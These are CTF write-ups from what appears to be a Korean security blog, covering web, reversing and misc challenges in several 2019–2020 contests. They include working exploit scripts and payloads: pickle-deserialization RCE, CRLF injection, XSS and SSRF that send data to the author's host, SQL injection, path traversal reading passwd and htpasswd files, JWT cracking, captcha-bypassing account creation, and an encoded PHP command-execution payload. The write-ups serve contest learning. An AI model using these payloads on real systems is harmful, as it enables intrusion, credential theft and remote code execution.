NorePad

exploit.py

#-*- coding: utf-8 -*-

import sys

from hashlib import sha1

from flask.sessions import session_json_serializer

from itsdangerous import URLSafeTimedSerializer

import requests

import pickle

import base64

import __builtin__

import re


def getKey():

    url = "http://3.112.201.75:8001/gg"

    headers = {"Referer":"http://3.112.201.75:8001/{{config}}"}

    c = requests.get(url,headers=headers).text

    p = re.compile("b'.*?,")

    print "Secret_key =" +  p.findall(c)[0][:-1].replace("'","'")


def getFlag(key):

    if key == "":

        print "No Input Key"

        exit()


    secret_key = key # input

    s = URLSafeTimedSerializer(

        secret_key, salt='cookie-session',

        serializer=session_json_serializer,

        signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha1}

    )


    class exploit(object):

        def __reduce__(self):

            p = "__import__('os').popen('cat flag').read()"

            return (__builtin__.eval, (p,))


    payload = base64.b64encode(pickle.dumps([{"date": "123", "text": "555", "title": exploit()}]))


    session_data = {"savedata":payload}

    session = s.dumps(session_data)

    print "[*] Encrypted Session is = " + session


    url = "http://3.112.201.75:8001/"

    headers = {"Cookie":"session="+session}

    c = requests.get(url,headers=headers).text

    p = re.compile("zer0pts.*}")

    print "[*]Flag = " + p.findall(c)[0]


session_key =  getKey()

session_key = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'

getFlag(session_key)


Can You Guess It?


Payload = http://3.112.201.75:8003/index.php/config.php/%81?source=1


URL Scan


payload  


1) Flag Setting

POST / HTTP/1.1

Host: 18.179.178.246:8004

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 143


url=url=abcd%0d%0arename%20flag%201234567890aabbce%0d%0asetrange%201234567890aabbce%207%20'_'%20%0d%0asetrange%201234567890aabbce%2035%20'_'%20


2) Get Flag

http://18.179.178.246:8004/?p=1234567890aabbce



MusicBlog


Payload

POST /new_post.php HTTP/1.1

Host: 18.179.178.246:8005

Content-Length: 123

Cache-Control: max-age=0

Origin: http://18.179.178.246:8005

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://18.179.178.246:8005/new_post.php

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=5b54a2f98b67bde15fdfadf26f4c256d

Connection: close


title=bbsss&content=[["><a/udio href="http://my_ip" id="like">]]



'CTF > Writeup' 카테고리의 다른 글

Christmas CTF 2019 Write up  (4) 2019.12.30
ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Web


watermelon


음원 컨셉의 사이트인데, http://ch4n3.me:8080/xmas/.git/ 경로에 접근해보면 디렉토리 리스팅이 된다. 이걸로 log 확인해보면 flag 파일이 변경된 commit이 있는데 변경된 내역보면 내가 업로드한 음악의 좋아요 수가 1225이상이 되면 플래그를 준다. 계정 하나당 좋아요를 1개밖에 못눌러서 1225개 계정을 만든다음에 각 계정으로 좋아요 눌러주는 식으로 사재기를 했다.


먼저 회원가입 페이지에서 해당 코드 실행해서 자동으로 1300개 계정을 만들어줬다.


function auto_register(i){

grecaptcha.execute('6LeKDskUAAAAAAh1LrqJ8isTG7rzGFpgNGas4x7z', {action: 'homepage'}).then(function(token) {

var xhr = new XMLHttpRequest();

var formData = new FormData();

formData.append('id', "youngsinanna"+i);

formData.append('password', "12345");

formData.append('nickname', "youngsinanna"+i);

formData.append('g-recaptcha-response', token);


xhr.onload = function() {

if (xhr.status === 200 || xhr.status === 201) {

    console.log(xhr.responseText);

  } else {

    console.error(xhr.responseText);

  }

};

xhr.open('POST', 'http://ch4n3.me:8080/xmas/?p=signup.ok');

xhr.send(formData);

});

}


for(var i=0; i<1300; i++){

auto_register(i);

}


그다음 생성한 계정들로 좋아요를 눌러주는 코드를 짜서 돌려주면 플래그가 나온다.


import requests


def login(id):

    url =  "http://ch4n3.me:8080/xmas/?p=signin.ok"

    data = {"id":id,"password":"12345"}


    result = requests.post(url,data=data).headers

    try:

        tmp =  result['Set-Cookie'].split(";")

        return tmp[0].replace("PHPSESSJWT=","")

    except:

        return "Not Found"


def vote(token):

    url = "http://ch4n3.me:8080/xmas/vote.php"

    header = {"Cookie":"PHPSESSJWT="+token+";"}

    data = {"music_no":"348"}

    result = requests.post(url,headers=header,data=data).text

    if "already voted" not in result:

        print "Success Vote!"

    else:

        print "Fail Already!"


result = []

for i in range(0,2000):

    yab = login("youngsinanna"+str(i))

    if yab!="Not Found":

        print str(i)

        vote(yab)


JWT

jwt crack 문제인데, 제공된 소스코드를 보면 키 길이가 8자리에 사용된 문자는 숫자로만 이루어져있다. 

jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjYzLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTc3MjM5NjEyLCJleHAiOjE1NzczMjYwMTIsImlzcyI6ImMydzJtMiJ9.Rirq3kRvLvK0t45U-8wSXrxF2q5mt2Y18AeMMrGboEA" "0123456789" 8

이걸루 key 값 crack 한 다음 {"uid":0,"isAdmin":true,"iat":1577239612,"exp":1577326012,"iss":"c2w2m2"} 요 값을 jwt encode해서 flag 페이지 접근하면 플래그가 나온다.


CSRF

회원가입,로그인,게시글 쓰기,게시글 조회 기능이 있는데, 게시글 쓸 때 stored xss가 터진다. 별다른 필터가 없어서 그냥 title 영역에 cookie 값 leak하는 기본 코드 넣어주면 봇이 플래그를 준다.

Dynamic SQL


로그인 할 때 SQL Injection이 있는데 필터링이 있는데 괄호로 우회해주면 되고 첫 세션에서는 디비가 dynamic_*가 아니라 아래 페이로드 요청할 때 세션 값 제거하고 보내주면 된다.


id=\&pw=union(select(1),2,group_concat(note)from(users))%23



Rev


welcome rev


암호화된 파일과 바이너리가 주어진다. 파일 내용을 4글자씩 받아와서 특정 테이블을 통해 암호화 연산을 한다. 4글자 단위로 암호화를 하고있어서 그냥 암호화 루틴 그대로 가져와서 브포 돌리는 식으로 플래그를 구했다.


import string


dword_5577A4E74AE0 = [0x0,0x77073096,0x0EE0E612C,0x990951BA,0x76DC419,0x706AF48F,0x0E963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0x0E0D5E91E,0x97D2D988,0x9B64C2B,0x7EB17CBD,0x0E7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0x0F3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0x0F4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0x0FD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0x0FA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0x0D56041E4,0x0A2677172,0x3C03E4D1,0x4B04D447,0x0D20D85FD,0x0A50AB56B,0x35B5A8FA,0x42B2986C,0x0DBBBC9D6,0x0ACBCF940,0x32D86CE3,0x45DF5C75,0x0DCD60DCF,0x0ABD13D59,0x26D930AC,0x51DE003A,0x0C8D75180,0x0BFD06116,0x21B4F4B5,0x56B3C423,0x0CFBA9599,0x0B8BDA50F,0x2802B89E,0x5F058808,0x0C60CD9B2,0x0B10BE924,0x2F6F7C87,0x58684C11,0x0C1611DAB,0x0B6662D3D,0x76DC4190,0x1DB7106,0x98D220BC,0x0EFD5102A,0x71B18589,0x6B6B51F,0x9FBFE4A5,0x0E8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0x0E10E9818,0x7F6A0DBB,0x86D3D2D,0x91646C97,0x0E6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0x0F262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0x0F50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0x0FCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0x0FBD44C65,0x4DB26158,0x3AB551CE,0x0A3BC0074,0x0D4BB30E2,0x4ADFA541,0x3DD895D7,0x0A4D1C46D,0x0D3D6F4FB,0x4369E96A,0x346ED9FC,0x0AD678846,0x0DA60B8D0,0x44042D73,0x33031DE5,0x0AA0A4C5F,0x0DD0D7CC9,0x5005713C,0x270241AA,0x0BE0B1010,0x0C90C2086,0x5768B525,0x206F85B3,0x0B966D409,0x0CE61E49F,0x5EDEF90E,0x29D9C998,0x0B0D09822,0x0C7D7A8B4,0x59B33D17,0x2EB40D81,0x0B7BD5C3B,0x0C0BA6CAD,0x0EDB88320,0x9ABFB3B6,0x3B6E20C,0x74B1D29A,0x0EAD54739,0x9DD277AF,0x4DB2615,0x73DC1683,0x0E3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0x0E40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,0x0F00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0x0F762575D,0x806567CB,0x196C3671,0x6E6B06E7,0x0FED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0x0F9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0x0D6D6A3E8,0x0A1D1937E,0x38D8C2C4,0x4FDFF252,0x0D1BB67F1,0x0A6BC5767,0x3FB506DD,0x48B2364B,0x0D80D2BDA,0x0AF0A1B4C,0x36034AF6,0x41047A60,0x0DF60EFC3,0x0A867DF55,0x316E8EEF,0x4669BE79,0x0CB61B38C,0x0BC66831A,0x256FD2A0,0x5268E236,0x0CC0C7795,0x0BB0B4703,0x220216B9,0x5505262F,0x0C5BA3BBE,0x0B2BD0B28,0x2BB45A92,0x5CB36A04,0x0C2D7FFA7,0x0B5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0x0EC63F226,0x756AA39C,0x26D930A,0x9C0906A9,0x0EB0E363F,0x72076785,0x5005713,0x95BF4A82,0x0E2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0x0E5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0x0F1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0x0F6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0x0FF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0x0F862AE69,0x616BFFD3,0x166CCF45,0x0A00AE278,0x0D70DD2EE,0x4E048354,0x3903B3C2,0x0A7672661,0x0D06016F7,0x4969474D,0x3E6E77DB,0x0AED16A4A,0x0D9D65ADC,0x40DF0B66,0x37D83BF0,0x0A9BCAE53,0x0DEBB9EC5,0x47B2CF7F,0x30B5FFE9,0x0BDBDF21C,0x0CABAC28A,0x53B39330,0x24B4A3A6,0x0BAD03605,0x0CDD70693,0x54DE5729,0x23D967BF,0x0B3667A2E,0x0C4614AB8,0x5D681B02,0x2A6F2B94,0x0B40BBE37,0x0C30C8EA1,0x5A05DF1B,0x2D02EF8D]


def sub_5577A4E7485A(input):

    v4 = -1&0xffffffff

    for i in range(0,len(input)):

        v4 = ((v4>>8) ^ dword_5577A4E74AE0[(v4^ord(input[i]))&0xff])&0xffffffff

    return v4&0xffffffff


def bruteForce(encData):

    strings = string.ascii_lowercase + "XMAS" + "{}_!?"


    for i in strings:

        for j in strings:

            for k in strings:

                for p in strings:

                    tmp = i+j+k+p

                    if sub_5577A4E7485A(tmp) == encData:

                        return tmp


encData=[0xb3406737,0x94789c6e,0x93574866,0x0ebfe856,0xc039f1d5]

flag = ""

for i in encData:

    flag += bruteForce(i)


print flag


Misc


Strange Elephpant


코끼리랑 가위바위보해서 100연승을 하면 된다. 매번 페이지에 들어갈때 마다 바뀌는 코끼리 사진을 통해 현재 코끼리가 뭘 냈는지 알 수 있고 매 요청마다 이기고,지고,비기고가 랜덤하게 요구되며 매번 2초안에 이걸 해내면서 100연승 해야된다. 해당 요구들에 맞춰 자동화해서 100연승 해주면 된다.


#-*- coding: utf-8 -*-

import sys

import requests


reload(sys)

sys.setdefaultencoding('utf-8')


def get_rule():

    url = "http://115.68.235.72:12372/index.php"

    header = {"Cookie":"PHPSESSID=c82e426710dd228c1709ead4428612a3"}

    return requests.get(url,headers=header).text


def get_image():

    url = "http://115.68.235.72:12372/image.php"

    header = {"Cookie": "PHPSESSID=c82e426710dd228c1709ead4428612a3"}

    result = len(requests.get(url, headers=header).text)

    print result

    if result>73760 and result<73780:

        return "보"

    elif result>72150 and result<72170:

        return "바위"

    else:

        return "가위"


def send_value(payload):

    url = "http://115.68.235.72:12372/index.php"

    header = {"Cookie": "PHPSESSID=c82e426710dd228c1709ead4428612a3"}

    data = {"answer":payload}

    return requests.post(url, headers=header,data=data).text


for i in range(0,100):

    result = get_rule()

    print result

    payload = get_image()

    if "비겨" in result:

        send_value(payload)

    elif "이겨" in result:

        if payload=="가위":

            send_value("바위")

        elif payload=="바위":

            send_value("보")

        else:

            send_value("가위")

    elif "져" in result:

        if payload=="가위":

            send_value("보")

        elif payload=="바위":

            send_value("가위")

        else:

            send_value("바위")

    else:

        print result



Santa Game

주어진 주소 접속해서 아래와 같이 입력해주면 플래그가 나온다.

Address : 127.0.0.1
Port : 31337

Solo


qr코드가 6조각인가로 분해되어 있다. 포토샵으로 대충 퍼즐맞추듯이 맞춰준다음에 디코딩해보면 플래그가 나온다.


MIRO


미로 게임이 5단계까지 있다. 이건 그냥 수동으로해도 깰 수 있을 정도 난이도라서 그냥 게임해서 플래그를 구했다.


Thank you


각 스폰서 페이지 내 주석으로 플래그가 분할되어 있다. 모든 스폰서 페이지 들어가서 조각난 플래그 구해서 합쳐주면 된다.

'CTF > Writeup' 카테고리의 다른 글

Zer0pts CTF 2020 Writeup  (1) 2020.03.08
ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

요 대회는 신기하게 Final인데 서버가 열려있길래 풀어봤다.


Trust Zone


문제에서 주어진 기능은 아래와 같고 ssrf가 있다. 


/get_doc?url=http://66.172.33.59/docs/doc1.doc


필터링 같은 경우 전체 url이 .doc로 끝나는지 검증하고 있었고, 인풋에 시작이 http://66.172.33.59/로 시작하는지 검증하고 있었다. 이 때문에 다른 호스트로 요청이 일단 힘들었고 .doc 검증은 그냥 내가 요청할 경로 뒤에 .doc 붙여주면 우회가 되긴 했는데 할만한게 안보였다. 그래서 이것저것 보다 인풋을 http://66.172.33/59/docs/ 이런식으로 주면 디렉토리 리스팅이되서 요청 경로 내 파일 리스트를 알 수 있었다.


디렉토리 리스팅으로 알게된 경로는 아래와 같았다.


http://66.172.33.59/doc_app/doc.php

http://66.172.33.59/flag/flag.php


위에서 flag 페이지에 접근하면 post로 요청하라고 했다. 그래서 일단 그냥 위 기능을 안쓰고 http://66.172.33.59/flag/flag.php에 직접 접근해보니 IP 접근 제한이 존재하는지 401이 뜨면서 계정을 요구했다. 

위 기능에서 일단 post로 flag.php를 요청할만한 게 딱히 안보여서 일단 http://66.172.33.59/doc_app/doc.php에 접근해보니 filename이란 파라미터로 파일 읽기가 가능했다. 


/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../etc/passwd%23.doc


file_get_contents를 쓰고 있는거 같았고 이걸로 flag.php를 요청하려고 했는데 안됐다. 그래서 해당 파일을 읽어보니 인풋 앞에 /var/www/html/이 붙고 있어서 http 요청이 불가능했다.


401 인증을 우회해야되나 싶어서 추가로 .htaccess 파일 leak 후 .htpasswd 경로 확인해서 password crack을 해봤는데 비밀번호가 안나왔다.


/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../srv/app/public/.htaccess%23.doc


<IfModule mod_rewrite.c>

    RewriteEngine On

    RedirectMatch 301 (.*).doc$ http://66.172.33.59$1

</IfModule>


AuthType Basic

AuthName \"Restricted Content\"

AuthUserFile /etc/apache2/.htpasswd

Require valid-user

 

/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../etc/apache2/.htpasswd%23.doc


secr3tUser_sys:$apr1$aWUbyZd0$Ge9ygNPiGeccI5iz645.X0


딱히 더 뭐 할게 안보여서 다시 원점으로 돌아가서 기본 기능에서 도메인 우회가 가능한지 이것저것 테스트해보다가 아래와 같이 개행을 넣었을때 요런 에러가 터지는 걸 볼 수 있었다.


input


/get_doc?url=http://66.172.33.59/%0a123.doc


error messgae


{"code":200,"data":{"err":"HTTPConnectionPool(host='66.172.33.59123', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f953c45ed10>: Failed to establish a new connection: [Errno -2] Name or service not known'))"}}


개행 뒤에 넣은 인풋이 도메인 ip뒤에 붙는 걸 볼 수 있었다.


이걸로 도메인 우회가 가능하겠다 싶었고 아래와 같이 요청하니 내 서버로 요청이 이루어졌다. 


input


/get_doc?url=http://66.172.33.59/%0a@my_ip:9999/.doc


my_sever


GET / HTTP/1.1

Host: my_ip:9999

User-Agent: python-requests/2.22.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Authorization: Basic c2VjcjN0VXNlcl9zeXM6ZWQ2MGNiZDYwZTgzNzg4NTg5YTI1NGUxMzZiYjA

zMGI=


서버로 Authorization header가 전송됬고 이 값을 그대로 세팅해서 flag.php 요청하니 플래그가 나왔다.


payload


POST /flag/flag.php HTTP/1.1

Host: 66.172.33.59:80

Authorization: Basic c2VjcjN0VXNlcl9zeXM6ZWQ2MGNiZDYwZTgzNzg4NTg5YTI1NGUxMzZiYjAzMGI=

Content-Length: 0  


flag = ASIS{ce4e0de7ace0353bc9370d36365c3a17}



Protected Area


파일 존재 여부 및 읽기 기능 두 가지가 존재한다.


파일 읽기 시 ../ 필터랑 요청한 파일 경로의 맨 뒤 4 글자가 .txt인지 검증한다.

../는 ....//로 우회하면 되고, 확장자 검증은 퍼징 돌려보면 & 가지고 우회가 가능하다.


이걸로 아래 순서로 소스 쭉쭉 긁어서 플래그 뿌려주는 루틴 만족시키면 된다.


/read_file/?api=....//api.py&.txt

/read_file/?file=....//functions.py&.txt

/read_file/?file=....//....//config.py&.txt



functions.py


if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf-8")).hexdigest():



config.py


import os


class Config:

    """Set Flask configuration vars from .env file."""


    # general config

    FLAG       = os.environ.get('FLAG')

    SECRET     = "s3cr3t"

    ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d"


payload


GET /protected_area_0098 HTTP/1.1

Host: 66.172.33.148:8008

ah: cbd54a3499ba0f4b221218af1958e281


Flag = ASIS{f70a0203d638a0c90a490ad46a94e394}



Protected Area2


이전 문제에서 .txt 검증 루틴이 변경되서 필터링 우회가 안된다. 다른 벡터를 찾아야하는데 파일 존재 여부를 검증하는 /check_perm/readable/ uri에서 readble 부분 값을 바꿔보면 아래와 같은 에러가 발생한다.


'_io.TextIOWrapper' object has no attribute '1'


/check_perm/인풋/ 해당 영역 값이 TextIowrapper 객체의 속성으로 들어가고 있다. 이를 통해 readable을 read로 바꿔주면 파일 읽기가 가능해진다.


/check_perm/read/?file=../etc/passwd


이제 소스코드를 찾기 위해 웹 루트를 찾아야되는데 /proc/self/cmdline이 안 읽혀서 아래 순서로 nginx 설정 파일을 통해 웹 루트를 찾고 소스 코드를 leak했다.


/check_perm/read/?file=../../etc/nginx/conf.d/nginx.conf

/check_perm/read/?file=../../opt/py/app/uwsgi.ini

/check_perm/read/?file=../..///opt/py/app/main_application.py

/check_perm/read/?file=../..///opt/py/app/app_source/main.py

/check_perm/read/?file=../..///opt/py/app/app_source/all_routes.py

/check_perm/read/?file=../..///opt/py/app/app_source/admin_route.py

 

admin_route.py


@app.route('/protected_area/<file_hash>', methods=['GET'])

def app_protected_area(file_hash) -> str:

    try:

        if str(hash(open(Config.FLAG))) == file_hash:

            return send_file(Config.FLAG_SEND)

        else:

            abort(403)

    except:

        return "500"


config.py


class Config:

    """Set Flask configuration vars from .env file."""


    # general config

    FLAG      = "flag/flag"

    FLAG_SEND = "../flag/flag"


플래그를 얻으려면 flag파일 객체의 해쉬 값을 알아내야 한다. 그래서 그냥 이전 기능을 통해 플래그 파일을 읽으려고 하면 아래와 같이 삽입한 메소드의 리턴 값이 str type일 경우 파일 경로에 flag가 존재하는지 검증해서 flag 파일을 읽을 수가 없다.


all_routes.py


@app.route('/check_perm/<method>/', methods=['GET'])

def app_checkb_file(method) -> json:

    try:

        file = request.args.get("file")


        if file.find('/proc') != -1:

            return "0"


        file_path = os.path.normpath('/files/{}'.format(file))

        with open(file_path, 'r') as f:


            call = getattr(f, method)()

            if type(call) == int:

                return str(call)

            elif type(call) != list and file.find('flag') == -1:

                return str(call)


            return '0'

    except Exception as e:

        return str(e)


여기서 딱 봐도 이상한게 return 값이 int일 때는 파일명 검증을 안하고 있는 부분이 있기 때문에 이걸 가지고 뭔가 하면 될 것 같았다. file 객체의 attribute를 쭉 확인해보니 __hash__란 메서드가 보였다.


호출해보니 반환 값이 int형이었고 아래 코드가 성립하길래 이걸로 flag파일의 해쉬 값을 구했다.


hash(open("a"))==open("a").__hash__()


payload

/check_perm/__hash__/?file=../..///opt/py/app/flag/flag

/protected_area/8782905626443


Flag = ASIS{1b7dc3a5ba52a11f0361bec284e59d58}

'CTF > Writeup' 카테고리의 다른 글

Zer0pts CTF 2020 Writeup  (1) 2020.03.08
Christmas CTF 2019 Write up  (4) 2019.12.30
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,



막차 타고 CCE 본선에 진출하게 되었다!


CTF 공부 시작하면서 꼭 한번 가보고 싶던 국내 대회 본선이었는데 막상 올라가니까 뭔가 신기하기도 하고 부족한 부분들이 더 많이 느껴져서 더 열심히 해야겠다는 자극이 되었다.


앞으로도 더 열심히 해서 이번 대회를 시작으로 여러 대회 본선에 올라갈 수 있도록 실력을 키워야겠다.

'CTF > 후기' 카테고리의 다른 글

Layer 2019 CTF 후기  (0) 2019.10.07
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Layer 2019 CTF 후기

CTF/후기 2019. 10. 7. 20:12


secretboy라는 닉네임으로 참가했고 전체 3등을 했다.


원래는 대회 당일 날 발표 자료를 만들어야 해서 문제 구경만 하려고 저녁 먹고 둘러보기 시작했다. 근데 재밌는 웹 문제가 너무 많아 보여서 발표 자료 만들다 말고 결국 새벽까지 문제를 풀게 되었다. 


팀 활동 시작하고 개인으로 참가해본 대회는 처음이었는데 뭔가 느낌도 색다르고 엄청 재밌었다.  







   

'CTF > 후기' 카테고리의 다른 글

CCE(사이버공격방어대회) 2019 후기  (0) 2019.10.07
블로그 이미지

JeonYoungSin

메모 기록용 공간

,



오랜만에 팀원들이랑 오프라인으로 모여서 재밌게 한 대회였다. Defenit 으로 참가했고 11등을 했다. 대회같은경우 엄청 재밌기도 했는데 대회를 진행하면서 그냥 엄청나게 반성을 했다. 


개인적으로 푼 문제가 웹 3개였는데, 이거 세개 푸는데 걸린시간이 2시간도 안됬고 나머지 13시간을 거의 무기력하게 보냈다. 0,1 솔브짜리 웹 문제들 이런걸 풀 수 있어야 되는데 실력 부족+쫄아서 대충보고 손절하는 습관 이게 너무 크게 와닿았다. 

그리고 웹빼고는 다 너무 어중간하게 공부해서 뭘 할만한게 없었다. 하나도 똑바로 못한다고 자꾸 분야 편식하면서 공부했는데, 그냥 공부량을 엄청나게 늘려서 이것저것 다 해봐야겠다고 생각했다. 

     

뭔가 전환점 같은게 필요했는데 스스로 바뀌어야 된다는걸 좀 뼈져리게 느꼈고, 지금보다 훨씬 더 많이 공부해야겠다고 다짐하게 됐다. 


푼 문제들 같은 경우 대회종료 후 바로 서버가 닫혀서 제출용으로 쓴 간단한 롸업밖에 없는데 일단 이거 올리고 나중에 서버 열리면 자세히 다시 적어보도록 하겠다. 


CCE_Web_Writeup.md


'CTF > Writeup' 카테고리의 다른 글

Christmas CTF 2019 Write up  (4) 2019.12.30
ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Copy-Cat


해당 문제는 개인적으로 재밌게 푼 문제라 자세하게 적어볼겸 팀 블로그에 작성하였습니다.


https://defenit.kr/2019/09/24/Web/%E3%84%B4%20WriteUps/InCTF_2019_Copy-Cat_Writeup/



PHP+1


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset(
$blacklist);
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


특문 필터가 안걸려있어서 그냥 ~로 비트연산해서 assert,eval 써준 담에 proc_open 써주면 된다.


payload = /?thisfile=/etc/&input=${~%A0%B8%BA%AB}{0}(${~%A0%B8%BA%AB}{1});&0=assert&1=eval($_GET[2])&2=%24%64%65%73%63%72%3d%61%72%72%61%79%28%30%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%72%22%29%2c%31%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%77%22%29%2c%32%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%22%77%22%0d%0a%20%20%20%20%20%20%20%20%29%0d%0a%20%20%20%20%29%3b%0d%0a%20%20%20%20%24%70%69%70%65%73%20%3d%20%61%72%72%61%79%28%29%3b%0d%0a%20%20%20%20%24%70%72%6f%63%65%73%73%20%3d%20%70%72%6f%63%5f%6f%70%65%6e%28%22%2f%72%65%61%64%46%6c%61%67%22%2c%20%24%64%65%73%63%72%2c%20%24%70%69%70%65%73%29%3b%0d%0a%20%20%20%20%69%66%20%28%69%73%5f%72%65%73%6f%75%72%63%65%28%24%70%72%6f%63%65%73%73%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%31%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%31%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%31%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%32%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%32%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%32%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%70%72%6f%63%5f%63%6c%6f%73%65%28%24%70%72%6f%63%65%73%73%29%3b%0d%0a%7d%0d%0a


 

PHP+1.5


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(
preg_match("/$blacklist/i"$input)){
    echo 
"Do you really you need that?" "<br>";
    return 
true;
  }

  unset(
$blacklist);
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


